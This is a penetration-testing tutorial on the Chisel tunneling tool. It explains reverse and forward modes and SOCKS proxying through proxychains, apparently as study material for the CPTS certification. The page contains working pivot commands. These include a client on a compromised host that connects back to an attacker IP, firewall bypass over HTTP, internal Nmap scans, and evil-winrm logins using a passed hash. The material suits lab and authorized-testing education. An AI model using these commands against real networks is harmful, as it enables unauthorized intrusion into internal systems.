Chisel
TCP/UDP tunneling tool that encapsulates traffic over HTTP/WebSockets. A single static binary for both server and client, perfect for pivoting through firewalls that only allow HTTP outbound.
What is it?
Chisel creates encrypted TCP tunnels transported over HTTP. You run a server on one end and a client on the other. The tunnel looks like normal HTTP traffic to firewalls and network monitoring, it uses WebSocket upgrades over standard HTTP, making it very hard to block without deep packet inspection.
Two primary modes:
- Forward mode: Client connects to server, forwarding local ports to remote destinations through the server
- Reverse mode: Client connects to server, but the server opens listening ports that forward to the client's network. This is the one you use most, the compromised host (client) reaches out to you (server), bypassing inbound firewall rules
Chisel is a single Go binary, no dependencies, works on Linux and Windows. Same binary acts as both server and client depending on the flags you pass.
Chisel works at the port level, you forward specific ports or create a SOCKS proxy. Ligolo-ng creates a full network tunnel using a TUN interface, making the remote network appear local. Chisel is simpler to set up and works when you only need a few ports; Ligolo is better when you need to run many tools against many internal hosts. Start with Chisel, move to Ligolo when complexity demands it.
Run this first
The server runs on your machine. The client runs on the compromised host and connects back to it.
# On your machine $ ./chisel server -p 8081 --reverse # On the compromised host $ ./chisel client 10.10.14.5:8081 R:socks
--reversemust be on the server, or the client cannot open reverse tunnels and you get "remote: Remote connections disabled".R:sockstells the client to open a reverse SOCKS proxy back through the server.
A SOCKS proxy is now listening on 127.0.0.1:1080 on your machine. Prefix any TCP tool with proxychains to route it through the tunnel, for example proxychains nmap -sT -Pn 172.16.1.10.
When do you use it?
You need Chisel whenever you've compromised a host that can see internal networks your attack box can't reach directly:
- You popped a DMZ host and it has a second NIC on an internal 172.16.x.x network with more targets
- You have RCE on a web server and need to reach an internal database server on port 3306 that's not exposed externally
- You need to use your local tools (like Nmap, smbmap, evil-winrm) against internal hosts that are only reachable from the compromised machine
- The target has strict outbound firewall rules: only HTTP/HTTPS allowed out. Chisel's HTTP-based transport slips through
ip addrorifconfigshows multiple network interfaces (e.g., eth0 on 10.10.10.x and eth1 on 172.16.1.x)/etc/hostsor ARP table (arp -a) references internal IPs you can't reach- Application config files reference internal database servers, LDAP servers, or APIs on private IPs
- BloodHound shows Domain Controllers on a different subnet than your current host
Architecture
Understanding the server/client relationship is critical. Get this wrong and nothing connects.
| Component | Forward mode | Reverse mode (most common) |
|---|---|---|
| Server runs on | Remote/target network | Your attacker box |
| Client runs on | Your attacker box | The compromised host |
| Who initiates? | Your box connects to target | Target connects to you |
| Firewall bypass? | Requires inbound access to target | Yes: outbound HTTP from target |
| When to use | You can reach the target's port | Target can only make outbound connections |
In reverse mode, the server is on your attacker box and the client is on the compromised host. This feels backwards if you're thinking "I'm the client connecting to the target." In Chisel's model: the server listens, the client connects. In reverse mode, the compromised host initiates the connection to you: so it runs the client.
Setting up a reverse tunnel
This is the most common scenario. You want to reach internal services from your attacker box, and the compromised host can connect outbound to you.
Reverse SOCKS proxy (access everything)
# Start Chisel server in reverse mode $ ./chisel server -p 8081 --reverse 2024/01/15 14:00:00 server: Listening on http://0.0.0.0:8081 <-- server is up, waiting for the client
# Connect back and create a SOCKS5 proxy on the server (your box) $ ./chisel client 10.10.14.5:8081 R:socks 2024/01/15 14:00:05 client: Connecting to ws://10.10.14.5:8081 2024/01/15 14:00:05 client: Connected (Latency 23ms) <-- tunnel is live, SOCKS proxy is now listening on your box
Now you have a SOCKS5 proxy on 127.0.0.1:1080 on your attacker box. Route tools through it with proxychains:
# Scan an internal host through the SOCKS proxy $ proxychains nmap -sT -Pn 172.16.1.10 -p 445,389,88,5985 # Connect to an internal SMB share $ proxychains smbmap -H 172.16.1.10 -u 'admin' -p 'Password1' # evil-winrm to an internal host $ proxychains evil-winrm -i 172.16.1.10 -u administrator -H aad3b435...
Reverse port forward (one specific port)
# On your box: start the server $ ./chisel server -p 8081 --reverse # On the target: forward internal 172.16.1.10:3306 to your localhost:3306 $ ./chisel client 10.10.14.5:8081 R:3306:172.16.1.10:3306 # Now on your attacker box, connect to the internal MySQL: $ mysql -h 127.0.0.1 -u admin -p
You can stack forwards: ./chisel client 10.10.14.5:8081 R:3306:172.16.1.10:3306 R:5985:172.16.1.20:5985 R:socks: this creates a SOCKS proxy AND forwards two specific ports, all over one connection.
Setting up a forward tunnel
Used when you can directly reach a port on the target. Less common in real engagements but useful in labs:
# On the compromised host: run Chisel as a server $ ./chisel server -p 9999 # On your attacker box: connect as client, forward a port $ ./chisel client 10.10.10.50:9999 8888:172.16.1.10:80 # Now http://127.0.0.1:8888 on your box reaches internal 172.16.1.10:80 $ curl http://127.0.0.1:8888
SOCKS proxy mode
A SOCKS proxy is the most flexible, instead of forwarding specific ports, it creates a general-purpose proxy that any TCP tool can route through.
# Server on your box $ ./chisel server -p 8081 --reverse # Client creates SOCKS proxy, default is 127.0.0.1:1080 $ ./chisel client 10.10.14.5:8081 R:socks # Use a custom port instead of 1080: $ ./chisel client 10.10.14.5:8081 R:9050:socks # Then configure proxychains to use 127.0.0.1:9050
Configure /etc/proxychains4.conf on your attacker box:
# At the bottom of /etc/proxychains4.conf:
[ProxyList]
socks5 127.0.0.1 1080
Chisel vs Ligolo-ng
| Feature | Chisel | Ligolo-ng |
|---|---|---|
| Tunnel type | SOCKS proxy / port forward | Full TUN interface (Layer 3) |
| Setup complexity | Simple: one binary, one command | Moderate: needs TUN interface setup |
| Tool compatibility | Needs proxychains for most tools | All tools work natively (no proxy needed) |
| UDP support | Limited | Full UDP support |
| Speed | Good | Better (no SOCKS overhead) |
| ICMP/ping | No (SOCKS doesn't support ICMP) | Yes: ping works through the tunnel |
| Double pivot | Chain multiple Chisel instances | Add agent on second host |
| Best for | Quick single-port access, simple setups | Full internal network access, many tools |
Need to reach one or two internal services? Use Chisel. Need to run Nmap, BloodHound collector, multiple Impacket tools across an internal subnet? Use Ligolo-ng. For CPTS, know both, different boxes need different approaches.
Common mistakes
- Confusing server and client roles: In reverse mode, the SERVER runs on YOUR box, the CLIENT runs on the target. Repeat this until it's automatic
- Forgetting
--reverse: Without--reverseflag on the server, the client can't create reverse tunnels. You'll get "remote: Remote connections disabled" - Port already in use: If port 1080 is taken, SOCKS won't start. Use
R:9050:socksfor a different port. Check withss -tlnp | grep 1080 - Not using proxychains correctly: After setting up the SOCKS proxy, every tool that needs the tunnel must be prefixed with
proxychains. Plainnmap 172.16.1.10won't go through the tunnel - Using SYN scans through SOCKS: SOCKS only supports TCP connect. Use
nmap -sT(TCP connect scan), not the default SYN scan. Add-Pnsince ICMP doesn't work through SOCKS either - Firewall blocks the Chisel port: If the target can only reach HTTP (80/443), run your Chisel server on port 80:
./chisel server -p 80 --reverse - Wrong architecture binary: Linux and Windows need different binaries. 32-bit targets need the 386 build. Check
uname -morfile /bin/ls
Check yourself
Answer each question out loud or on paper first, then open it. Retrieving the answer teaches you more than rereading the page.
In reverse mode, which side runs the server and which runs the client?
You start the client and get "remote: Remote connections disabled". What is missing?
--reverse. Add it to the server command.The tunnel is up, but nmap 172.16.1.10 still fails to reach the internal host. What did you forget?
proxychains. A plain command never uses the tunnel.Why does nmap -sT matter here instead of the default scan?
-Pn too, since ICMP does not pass through SOCKS either.